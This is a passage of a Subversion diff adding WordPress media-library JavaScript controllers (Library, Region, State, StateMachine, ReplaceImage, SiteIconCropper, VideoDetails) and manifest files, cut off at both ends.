+ *                                                                               Otherwise, it will copy the library's `props` model.
+ * @param {boolean}                         [attributes.multiple=false]          Whether multi-select is enabled.
+ * @param {string}                          [attributes.content=upload]          Initial mode for the content region.
+ *                                                                               Overridden by persistent user setting if 'contentUserSetting' is true.
+ * @param {string}                          [attributes.menu=default]            Initial mode for the menu region.
+ * @param {string}                          [attributes.router=browse]           Initial mode for the router region.
+ * @param {string}                          [attributes.toolbar=select]          Initial mode for the toolbar region.
+ * @param {boolean}                         [attributes.searchable=true]         Whether the library is searchable.
+ * @param {boolean|string}                  [attributes.filterable=false]        Whether the library is filterable, and if so what filters should be shown.
+ *                                                                               Accepts 'all', 'uploaded', or 'unattached'.
+ * @param {boolean}                         [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                         [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+ * @param {boolean}                         [attributes.describe=false]          Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+ * @param {boolean}                         [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+ * @param {boolean}                         [attributes.syncSelection=true]      Whether the Attachments selection should be persisted from the last state.
+ */
+Library = wp.media.controller.State.extend(/** @lends wp.media.controller.Library.prototype */{
+	defaults: {
+		id:                 'library',
+		title:              l10n.mediaLibraryTitle,
+		multiple:           false,
+		content:            'upload',
+		menu:               'default',
+		router:             'browse',
+		toolbar:            'select',
+		searchable:         true,
+		filterable:         false,
+		sortable:           true,
+		autoSelect:         true,
+		describe:           false,
+		contentUserSetting: true,
+		syncSelection:      true
+	},
+
+	/**
+	 * If a library isn't provided, query all media items.
+	 * If a selection instance isn't provided, create one.
+	 *
+	 * @since 3.5.0
+	 */
+	initialize: function() {
+		var selection = this.get('selection'),
+			props;
+
+		if ( ! this.get('library') ) {
+			this.set( 'library', wp.media.query() );
+		}
+
+		if ( ! ( selection instanceof wp.media.model.Selection ) ) {
+			props = selection;
+
+			if ( ! props ) {
+				props = this.get('library').props.toJSON();
+				props = _.omit( props, 'orderby', 'query' );
+			}
+
+			this.set( 'selection', new wp.media.model.Selection( null, {
+				multiple: this.get('multiple'),
+				props: props
+			}) );
+		}
+
+		this.resetDisplays();
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	activate: function() {
+		this.syncSelection();
+
+		wp.Uploader.queue.on( 'add', this.uploading, this );
+
+		this.get('selection').on( 'add remove reset', this.refreshContent, this );
+
+		if ( this.get( 'router' ) && this.get('contentUserSetting') ) {
+			this.frame.on( 'content:activate', this.saveContentMode, this );
+			this.set( 'content', getUserSetting( 'libraryContent', this.get('content') ) );
+		}
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	deactivate: function() {
+		this.recordSelection();
+
+		this.frame.off( 'content:activate', this.saveContentMode, this );
+
+		// Unbind all event handlers that use this state as the context
+		// from the selection.
+		this.get('selection').off( null, null, this );
+
+		wp.Uploader.queue.off( null, null, this );
+	},
+
+	/**
+	 * Reset the library to its initial state.
+	 *
+	 * @since 3.5.0
+	 */
+	reset: function() {
+		this.get('selection').reset();
+		this.resetDisplays();
+		this.refreshContent();
+	},
+
+	/**
+	 * Reset the attachment display settings defaults to the site options.
+	 *
+	 * If site options don't define them, fall back to a persistent user setting.
+	 *
+	 * @since 3.5.0
+	 */
+	resetDisplays: function() {
+		var defaultProps = wp.media.view.settings.defaultProps;
+		this._displays = [];
+		this._defaultDisplaySettings = {
+			align: getUserSetting( 'align', defaultProps.align ) || 'none',
+			size:  getUserSetting( 'imgsize', defaultProps.size ) || 'medium',
+			link:  getUserSetting( 'urlbutton', defaultProps.link ) || 'none'
+		};
+	},
+
+	/**
+	 * Create a model to represent display settings (alignment, etc.) for an attachment.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {Backbone.Model}
+	 */
+	display: function( attachment ) {
+		var displays = this._displays;
+
+		if ( ! displays[ attachment.cid ] ) {
+			displays[ attachment.cid ] = new Backbone.Model( this.defaultDisplaySettings( attachment ) );
+		}
+		return displays[ attachment.cid ];
+	},
+
+	/**
+	 * Given an attachment, create attachment display settings properties.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {Object}
+	 */
+	defaultDisplaySettings: function( attachment ) {
+		var settings = _.clone( this._defaultDisplaySettings );
+
+		if ( settings.canEmbed = this.canEmbed( attachment ) ) {
+			settings.link = 'embed';
+		} else if ( ! this.isImageAttachment( attachment ) && settings.link === 'none' ) {
+			settings.link = 'file';
+		}
+
+		return settings;
+	},
+
+	/**
+	 * Whether an attachment is image.
+	 *
+	 * @since 4.4.1
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {Boolean}
+	 */
+	isImageAttachment: function( attachment ) {
+		// If uploading, we know the filename but not the mime type.
+		if ( attachment.get('uploading') ) {
+			return /\.(jpe?g|png|gif)$/i.test( attachment.get('filename') );
+		}
+
+		return attachment.get('type') === 'image';
+	},
+
+	/**
+	 * Whether an attachment can be embedded (audio or video).
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 * @returns {Boolean}
+	 */
+	canEmbed: function( attachment ) {
+		// If uploading, we know the filename but not the mime type.
+		if ( ! attachment.get('uploading') ) {
+			var type = attachment.get('type');
+			if ( type !== 'audio' && type !== 'video' ) {
+				return false;
+			}
+		}
+
+		return _.contains( wp.media.view.settings.embedExts, attachment.get('filename').split('.').pop() );
+	},
+
+
+	/**
+	 * If the state is active, no items are selected, and the current
+	 * content mode is not an option in the state's router (provided
+	 * the state has a router), reset the content mode to the default.
+	 *
+	 * @since 3.5.0
+	 */
+	refreshContent: function() {
+		var selection = this.get('selection'),
+			frame = this.frame,
+			router = frame.router.get(),
+			mode = frame.content.mode();
+
+		if ( this.active && ! selection.length && router && ! router.get( mode ) ) {
+			this.frame.content.render( this.get('content') );
+		}
+	},
+
+	/**
+	 * Callback handler when an attachment is uploaded.
+	 *
+	 * Switch to the Media Library if uploaded from the 'Upload Files' tab.
+	 *
+	 * Adds any uploading attachments to the selection.
+	 *
+	 * If the state only supports one attachment to be selected and multiple
+	 * attachments are uploaded, the last attachment in the upload queue will
+	 * be selected.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {wp.media.model.Attachment} attachment
+	 */
+	uploading: function( attachment ) {
+		var content = this.frame.content;
+
+		if ( 'upload' === content.mode() ) {
+			this.frame.content.mode('browse');
+		}
+
+		if ( this.get( 'autoSelect' ) ) {
+			this.get('selection').add( attachment );
+			this.frame.trigger( 'library:selection:add' );
+		}
+	},
+
+	/**
+	 * Persist the mode of the content region as a user setting.
+	 *
+	 * @since 3.5.0
+	 */
+	saveContentMode: function() {
+		if ( 'browse' !== this.get('router') ) {
+			return;
+		}
+
+		var mode = this.frame.content.mode(),
+			view = this.frame.router.get();
+
+		if ( view && view.get( mode ) ) {
+			setUserSetting( 'libraryContent', mode );
+		}
+	}
+
+});
+
+// Make selectionSync available on any Media Library state.
+_.extend( Library.prototype, wp.media.selectionSync );
+
+module.exports = Library;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/media-library.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/media-library.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/media-library.js	(revision 56912)
@@ -0,0 +1,50 @@
+/**
+ * wp.media.controller.MediaLibrary
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+var Library = wp.media.controller.Library,
+	MediaLibrary;
+
+MediaLibrary = Library.extend(/** @lends wp.media.controller.MediaLibrary.prototype */{
+	defaults: _.defaults({
+		// Attachments browser defaults. @see media.view.AttachmentsBrowser
+		filterable:      'uploaded',
+
+		displaySettings: false,
+		priority:        80,
+		syncSelection:   false
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.9.0
+	 *
+	 * @param options
+	 */
+	initialize: function( options ) {
+		this.media = options.media;
+		this.type = options.type;
+		this.set( 'library', wp.media.query({ type: this.type }) );
+
+		Library.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		// @todo this should use this.frame.
+		if ( wp.media.frame.lastMime ) {
+			this.set( 'library', wp.media.query({ type: wp.media.frame.lastMime }) );
+			delete wp.media.frame.lastMime;
+		}
+		Library.prototype.activate.apply( this, arguments );
+	}
+});
+
+module.exports = MediaLibrary;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/region.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/region.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/region.js	(revision 56912)
@@ -0,0 +1,174 @@
+/**
+ * wp.media.controller.Region
+ *
+ * A region is a persistent application layout area.
+ *
+ * A region assumes one mode at any time, and can be switched to another.
+ *
+ * When mode changes, events are triggered on the region's parent view.
+ * The parent view will listen to specific events and fill the region with an
+ * appropriate view depending on mode. For example, a frame listens for the
+ * 'browse' mode t be activated on the 'content' view and then fills the region
+ * with an AttachmentsBrowser view.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ *
+ * @param {object}        options          Options hash for the region.
+ * @param {string}        options.id       Unique identifier for the region.
+ * @param {Backbone.View} options.view     A parent view the region exists within.
+ * @param {string}        options.selector jQuery selector for the region within the parent view.
+ */
+var Region = function( options ) {
+	_.extend( this, _.pick( options || {}, 'id', 'view', 'selector' ) );
+};
+
+// Use Backbone's self-propagating `extend` inheritance method.
+Region.extend = Backbone.Model.extend;
+
+_.extend( Region.prototype,/** @lends wp.media.controller.Region.prototype */{
+	/**
+	 * Activate a mode.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {string} mode
+	 *
+	 * @fires Region#activate
+	 * @fires Region#deactivate
+	 *
+	 * @returns {wp.media.controller.Region} Returns itself to allow chaining.
+	 */
+	mode: function( mode ) {
+		if ( ! mode ) {
+			return this._mode;
+		}
+		// Bail if we're trying to change to the current mode.
+		if ( mode === this._mode ) {
+			return this;
+		}
+
+		/**
+		 * Region mode deactivation event.
+		 *
+		 * @event wp.media.controller.Region#deactivate
+		 */
+		this.trigger('deactivate');
+
+		this._mode = mode;
+		this.render( mode );
+
+		/**
+		 * Region mode activation event.
+		 *
+		 * @event wp.media.controller.Region#activate
+		 */
+		this.trigger('activate');
+		return this;
+	},
+	/**
+	 * Render a mode.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {string} mode
+	 *
+	 * @fires Region#create
+	 * @fires Region#render
+	 *
+	 * @returns {wp.media.controller.Region} Returns itself to allow chaining
+	 */
+	render: function( mode ) {
+		// If the mode isn't active, activate it.
+		if ( mode && mode !== this._mode ) {
+			return this.mode( mode );
+		}
+
+		var set = { view: null },
+			view;
+
+		/**
+		 * Create region view event.
+		 *
+		 * Region view creation takes place in an event callback on the frame.
+		 *
+		 * @event wp.media.controller.Region#create
+		 * @type {object}
+		 * @property {object} view
+		 */
+		this.trigger( 'create', set );
+		view = set.view;
+
+		/**
+		 * Render region view event.
+		 *
+		 * Region view creation takes place in an event callback on the frame.
+		 *
+		 * @event wp.media.controller.Region#render
+		 * @type {object}
+		 */
+		this.trigger( 'render', view );
+		if ( view ) {
+			this.set( view );
+		}
+		return this;
+	},
+
+	/**
+	 * Get the region's view.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @returns {wp.media.View}
+	 */
+	get: function() {
+		return this.view.views.first( this.selector );
+	},
+
+	/**
+	 * Set the region's view as a subview of the frame.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {Array|Object} views
+	 * @param {Object} [options={}]
+	 * @returns {wp.Backbone.Subviews} Subviews is returned to allow chaining
+	 */
+	set: function( views, options ) {
+		if ( options ) {
+			options.add = false;
+		}
+		return this.view.views.set( this.selector, views, options );
+	},
+
+	/**
+	 * Trigger regional view events on the frame.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {string} event
+	 * @returns {undefined|wp.media.controller.Region} Returns itself to allow chaining.
+	 */
+	trigger: function( event ) {
+		var base, args;
+
+		if ( ! this._mode ) {
+			return;
+		}
+
+		args = _.toArray( arguments );
+		base = this.id + ':' + event;
+
+		// Trigger `{this.id}:{event}:{this._mode}` event on the frame.
+		args[0] = base + ':' + this._mode;
+		this.view.trigger.apply( this.view, args );
+
+		// Trigger `{this.id}:{event}` event on the frame.
+		args[0] = base;
+		this.view.trigger.apply( this.view, args );
+		return this;
+	}
+});
+
+module.exports = Region;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/replace-image.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/replace-image.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/replace-image.js	(revision 56912)
@@ -0,0 +1,108 @@
+var Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	ReplaceImage;
+
+/**
+ * wp.media.controller.ReplaceImage
+ *
+ * A state for replacing an image.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                         The attributes hash passed to the state.
+ * @param {string}                     [attributes.id=replace-image]        Unique identifier.
+ * @param {string}                     [attributes.title=Replace Image]     Title for the state. Displays in the media menu and the frame's title region.
+ * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
+ *                                                                          If one is not supplied, a collection of all images will be created.
+ * @param {boolean}                    [attributes.multiple=false]          Whether multi-select is enabled.
+ * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
+ *                                                                          Overridden by persistent user setting if 'contentUserSetting' is true.
+ * @param {string}                     [attributes.menu=default]            Initial mode for the menu region.
+ * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
+ * @param {string}                     [attributes.toolbar=replace]         Initial mode for the toolbar region.
+ * @param {int}                        [attributes.priority=60]             The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
+ * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
+ *                                                                          Accepts 'all', 'uploaded', or 'unattached'.
+ * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+ * @param {boolean}                    [attributes.describe=false]          Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+ * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+ * @param {boolean}                    [attributes.syncSelection=true]      Whether the Attachments selection should be persisted from the last state.
+ */
+ReplaceImage = Library.extend(/** @lends wp.media.controller.ReplaceImage.prototype */{
+	defaults: _.defaults({
+		id:            'replace-image',
+		title:         l10n.replaceImageTitle,
+		multiple:      false,
+		filterable:    'uploaded',
+		toolbar:       'replace',
+		menu:          false,
+		priority:      60,
+		syncSelection: true
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.9.0
+	 *
+	 * @param options
+	 */
+	initialize: function( options ) {
+		var library, comparator;
+
+		this.image = options.image;
+		// If we haven't been provided a `library`, create a `Selection`.
+		if ( ! this.get('library') ) {
+			this.set( 'library', wp.media.query({ type: 'image' }) );
+		}
+
+		Library.prototype.initialize.apply( this, arguments );
+
+		library    = this.get('library');
+		comparator = library.comparator;
+
+		// Overload the library's comparator to push items that are not in
+		// the mirrored query to the front of the aggregate collection.
+		library.comparator = function( a, b ) {
+			var aInQuery = !! this.mirroring.get( a.cid ),
+				bInQuery = !! this.mirroring.get( b.cid );
+
+			if ( ! aInQuery && bInQuery ) {
+				return -1;
+			} else if ( aInQuery && ! bInQuery ) {
+				return 1;
+			} else {
+				return comparator.apply( this, arguments );
+			}
+		};
+
+		// Add all items in the selection to the library, so any featured
+		// images that are not initially loaded still appear.
+		library.observe( this.get('selection') );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		this.updateSelection();
+		Library.prototype.activate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	updateSelection: function() {
+		var selection = this.get('selection'),
+			attachment = this.image.attachment;
+
+		selection.reset( attachment ? [ attachment ] : [] );
+	}
+});
+
+module.exports = ReplaceImage;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/site-icon-cropper.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/site-icon-cropper.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/site-icon-cropper.js	(revision 56912)
@@ -0,0 +1,49 @@
+var Controller = wp.media.controller,
+	SiteIconCropper;
+
+/**
+ * wp.media.controller.SiteIconCropper
+ *
+ * A state for cropping a Site Icon.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Cropper
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+SiteIconCropper = Controller.Cropper.extend(/** @lends wp.media.controller.SiteIconCropper.prototype */{
+	activate: function() {
+		this.frame.on( 'content:create:crop', this.createCropContent, this );
+		this.frame.on( 'close', this.removeCropper, this );
+		this.set('selection', new Backbone.Collection(this.frame._selection.single));
+	},
+
+	createCropContent: function() {
+		this.cropperView = new wp.media.view.SiteIconCropper({
+			controller: this,
+			attachment: this.get('selection').first()
+		});
+		this.cropperView.on('image-loaded', this.createCropToolbar, this);
+		this.frame.content.set(this.cropperView);
+
+	},
+
+	doCrop: function( attachment ) {
+		var cropDetails = attachment.get( 'cropDetails' ),
+			control = this.get( 'control' );
+
+		cropDetails.dst_width  = control.params.width;
+		cropDetails.dst_height = control.params.height;
+
+		return wp.ajax.post( 'crop-image', {
+			nonce: attachment.get( 'nonces' ).edit,
+			id: attachment.get( 'id' ),
+			context: 'site-icon',
+			cropDetails: cropDetails
+		} );
+	}
+});
+
+module.exports = SiteIconCropper;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/state-machine.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/state-machine.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/state-machine.js	(revision 56912)
@@ -0,0 +1,139 @@
+/**
+ * wp.media.controller.StateMachine
+ *
+ * A state machine keeps track of state. It is in one state at a time,
+ * and can change from one state to another.
+ *
+ * States are stored as models in a Backbone collection.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @since 3.5.0
+ *
+ * @class
+ * @augments Backbone.Model
+ * @mixin
+ * @mixes Backbone.Events
+ *
+ * @param {Array} states
+ */
+var StateMachine = function( states ) {
+	// @todo This is dead code. The states collection gets created in media.view.Frame._createStates.
+	this.states = new Backbone.Collection( states );
+};
+
+// Use Backbone's self-propagating `extend` inheritance method.
+StateMachine.extend = Backbone.Model.extend;
+
+_.extend( StateMachine.prototype, Backbone.Events,/** @lends wp.media.controller.StateMachine.prototype */{
+	/**
+	 * Fetch a state.
+	 *
+	 * If no `id` is provided, returns the active state.
+	 *
+	 * Implicitly creates states.
+	 *
+	 * Ensure that the `states` collection exists so the `StateMachine`
+	 *   can be used as a mixin.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {string} id
+	 * @returns {wp.media.controller.State} Returns a State model
+	 *   from the StateMachine collection
+	 */
+	state: function( id ) {
+		this.states = this.states || new Backbone.Collection();
+
+		// Default to the active state.
+		id = id || this._state;
+
+		if ( id && ! this.states.get( id ) ) {
+			this.states.add({ id: id });
+		}
+		return this.states.get( id );
+	},
+
+	/**
+	 * Sets the active state.
+	 *
+	 * Bail if we're trying to select the current state, if we haven't
+	 * created the `states` collection, or are trying to select a state
+	 * that does not exist.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param {string} id
+	 *
+	 * @fires wp.media.controller.State#deactivate
+	 * @fires wp.media.controller.State#activate
+	 *
+	 * @returns {wp.media.controller.StateMachine} Returns itself to allow chaining
+	 */
+	setState: function( id ) {
+		var previous = this.state();
+
+		if ( ( previous && id === previous.id ) || ! this.states || ! this.states.get( id ) ) {
+			return this;
+		}
+
+		if ( previous ) {
+			previous.trigger('deactivate');
+			this._lastState = previous.id;
+		}
+
+		this._state = id;
+		this.state().trigger('activate');
+
+		return this;
+	},
+
+	/**
+	 * Returns the previous active state.
+	 *
+	 * Call the `state()` method with no parameters to retrieve the current
+	 * active state.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @returns {wp.media.controller.State} Returns a State model
+	 *    from the StateMachine collection
+	 */
+	lastState: function() {
+		if ( this._lastState ) {
+			return this.state( this._lastState );
+		}
+	}
+});
+
+// Map all event binding and triggering on a StateMachine to its `states` collection.
+_.each([ 'on', 'off', 'trigger' ], function( method ) {
+	/**
+	 * @function on
+	 * @memberOf wp.media.controller.StateMachine
+	 * @instance
+	 * @returns {wp.media.controller.StateMachine} Returns itself to allow chaining.
+	 */
+	/**
+	 * @function off
+	 * @memberOf wp.media.controller.StateMachine
+	 * @instance
+	 * @returns {wp.media.controller.StateMachine} Returns itself to allow chaining.
+	 */
+	/**
+	 * @function trigger
+	 * @memberOf wp.media.controller.StateMachine
+	 * @instance
+	 * @returns {wp.media.controller.StateMachine} Returns itself to allow chaining.
+	 */
+	StateMachine.prototype[ method ] = function() {
+		// Ensure that the `states` collection exists so the `StateMachine`
+		// can be used as a mixin.
+		this.states = this.states || new Backbone.Collection();
+		// Forward the method to the `states` collection.
+		this.states[ method ].apply( this.states, arguments );
+		return this;
+	};
+});
+
+module.exports = StateMachine;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/state.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/state.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/state.js	(revision 56912)
@@ -0,0 +1,241 @@
+/**
+ * wp.media.controller.State
+ *
+ * A state is a step in a workflow that when set will trigger the controllers
+ * for the regions to be updated as specified in the frame.
+ *
+ * A state has an event-driven lifecycle:
+ *
+ *     'ready'      triggers when a state is added to a state machine's collection.
+ *     'activate'   triggers when a state is activated by a state machine.
+ *     'deactivate' triggers when a state is deactivated by a state machine.
+ *     'reset'      is not triggered automatically. It should be invoked by the
+ *                  proper controller to reset the state to its default.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments Backbone.Model
+ */
+var State = Backbone.Model.extend(/** @lends wp.media.controller.State.prototype */{
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.5.0
+	 */
+	constructor: function() {
+		this.on( 'activate', this._preActivate, this );
+		this.on( 'activate', this.activate, this );
+		this.on( 'activate', this._postActivate, this );
+		this.on( 'deactivate', this._deactivate, this );
+		this.on( 'deactivate', this.deactivate, this );
+		this.on( 'reset', this.reset, this );
+		this.on( 'ready', this._ready, this );
+		this.on( 'ready', this.ready, this );
+		/**
+		 * Call parent constructor with passed arguments
+		 */
+		Backbone.Model.apply( this, arguments );
+		this.on( 'change:menu', this._updateMenu, this );
+	},
+	/**
+	 * Ready event callback.
+	 *
+	 * @abstract
+	 * @since 3.5.0
+	 */
+	ready: function() {},
+
+	/**
+	 * Activate event callback.
+	 *
+	 * @abstract
+	 * @since 3.5.0
+	 */
+	activate: function() {},
+
+	/**
+	 * Deactivate event callback.
+	 *
+	 * @abstract
+	 * @since 3.5.0
+	 */
+	deactivate: function() {},
+
+	/**
+	 * Reset event callback.
+	 *
+	 * @abstract
+	 * @since 3.5.0
+	 */
+	reset: function() {},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_ready: function() {
+		this._updateMenu();
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	*/
+	_preActivate: function() {
+		this.active = true;
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_postActivate: function() {
+		this.on( 'change:menu', this._menu, this );
+		this.on( 'change:titleMode', this._title, this );
+		this.on( 'change:content', this._content, this );
+		this.on( 'change:toolbar', this._toolbar, this );
+
+		this.frame.on( 'title:render:default', this._renderTitle, this );
+
+		this._title();
+		this._menu();
+		this._toolbar();
+		this._content();
+		this._router();
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_deactivate: function() {
+		this.active = false;
+
+		this.frame.off( 'title:render:default', this._renderTitle, this );
+
+		this.off( 'change:menu', this._menu, this );
+		this.off( 'change:titleMode', this._title, this );
+		this.off( 'change:content', this._content, this );
+		this.off( 'change:toolbar', this._toolbar, this );
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_title: function() {
+		this.frame.title.render( this.get('titleMode') || 'default' );
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_renderTitle: function( view ) {
+		view.$el.text( this.get('title') || '' );
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_router: function() {
+		var router = this.frame.router,
+			mode = this.get('router'),
+			view;
+
+		this.frame.$el.toggleClass( 'hide-router', ! mode );
+		if ( ! mode ) {
+			return;
+		}
+
+		this.frame.router.render( mode );
+
+		view = router.get();
+		if ( view && view.select ) {
+			view.select( this.frame.content.mode() );
+		}
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_menu: function() {
+		var menu = this.frame.menu,
+			mode = this.get('menu'),
+			view;
+
+		this.frame.$el.toggleClass( 'hide-menu', ! mode );
+		if ( ! mode ) {
+			return;
+		}
+
+		menu.mode( mode );
+
+		view = menu.get();
+		if ( view && view.select ) {
+			view.select( this.id );
+		}
+	},
+
+	/**
+	 * @access private
+	 * @since 3.5.0
+	 */
+	_updateMenu: function() {
+		var previous = this.previous('menu'),
+			menu = this.get('menu');
+
+		if ( previous ) {
+			this.frame.off( 'menu:render:' + previous, this._renderMenu, this );
+		}
+
+		if ( menu ) {
+			this.frame.on( 'menu:render:' + menu, this._renderMenu, this );
+		}
+	},
+
+	/**
+	 * Create a view in the media menu for the state.
+	 *
+	 * @access private
+	 * @since 3.5.0
+	 *
+	 * @param {media.view.Menu} view The menu view.
+	 */
+	_renderMenu: function( view ) {
+		var menuItem = this.get('menuItem'),
+			title = this.get('title'),
+			priority = this.get('priority');
+
+		if ( ! menuItem && title ) {
+			menuItem = { text: title };
+
+			if ( priority ) {
+				menuItem.priority = priority;
+			}
+		}
+
+		if ( ! menuItem ) {
+			return;
+		}
+
+		view.set( this.id, menuItem );
+	}
+});
+
+_.each(['toolbar','content'], function( region ) {
+	/**
+	 * @access private
+	 */
+	State.prototype[ '_' + region ] = function() {
+		var mode = this.get( region );
+		if ( mode ) {
+			this.frame[ region ].render( mode );
+		}
+	};
+});
+
+module.exports = State;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/video-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/video-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/video-details.js	(revision 56912)
@@ -0,0 +1,33 @@
+/**
+ * wp.media.controller.VideoDetails
+ *
+ * The controller for the Video Details state
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+var State = wp.media.controller.State,
+	l10n = wp.media.view.l10n,
+	VideoDetails;
+
+VideoDetails = State.extend(/** @lends wp.media.controller.VideoDetails.prototype */{
+	defaults: {
+		id: 'video-details',
+		toolbar: 'video-details',
+		title: l10n.videoDetailsTitle,
+		content: 'video-details',
+		menu: 'video-details',
+		router: false,
+		priority: 60
+	},
+
+	initialize: function( options ) {
+		this.media = options.media;
+		State.prototype.initialize.apply( this, arguments );
+	}
+});
+
+module.exports = VideoDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/grid.manifest.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/grid.manifest.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/grid.manifest.js	(revision 56912)
@@ -0,0 +1,11 @@
+var media = wp.media;
+
+media.controller.EditAttachmentMetadata = require( './controllers/edit-attachment-metadata.js' );
+media.view.MediaFrame.Manage = require( './views/frame/manage.js' );
+media.view.Attachment.Details.TwoColumn = require( './views/attachment/details-two-column.js' );
+media.view.MediaFrame.Manage.Router = require( './routers/manage.js' );
+media.view.EditImage.Details = require( './views/edit-image-details.js' );
+media.view.MediaFrame.EditAttachments = require( './views/frame/edit-attachments.js' );
+media.view.SelectModeToggleButton = require( './views/button/select-mode-toggle.js' );
+media.view.DeleteSelectedButton = require( './views/button/delete-selected.js' );
+media.view.DeleteSelectedPermanentlyButton = require( './views/button/delete-selected-permanently.js' );
Index: /tags/5.0.20/src/wp-includes/js/media/models.manifest.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/models.manifest.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/models.manifest.js	(revision 56912)
@@ -0,0 +1,238 @@
+var $ = jQuery,
+	Attachment, Attachments, l10n, media;
+
+/** @namespace wp */
+window.wp = window.wp || {};
+
+/**
+ * Create and return a media frame.
+ *
+ * Handles the default media experience.
+ *
+ * @alias wp.media
+ * @memberOf wp
+ * @namespace
+ *
+ * @param  {object} attributes The properties passed to the main media controller.
+ * @return {wp.media.view.MediaFrame} A media workflow.
+ */
+media = wp.media = function( attributes ) {
+	var MediaFrame = media.view.MediaFrame,
+		frame;
+
+	if ( ! MediaFrame ) {
+		return;
+	}
+
+	attributes = _.defaults( attributes || {}, {
+		frame: 'select'
+	});
+
+	if ( 'select' === attributes.frame && MediaFrame.Select ) {
+		frame = new MediaFrame.Select( attributes );
+	} else if ( 'post' === attributes.frame && MediaFrame.Post ) {
+		frame = new MediaFrame.Post( attributes );
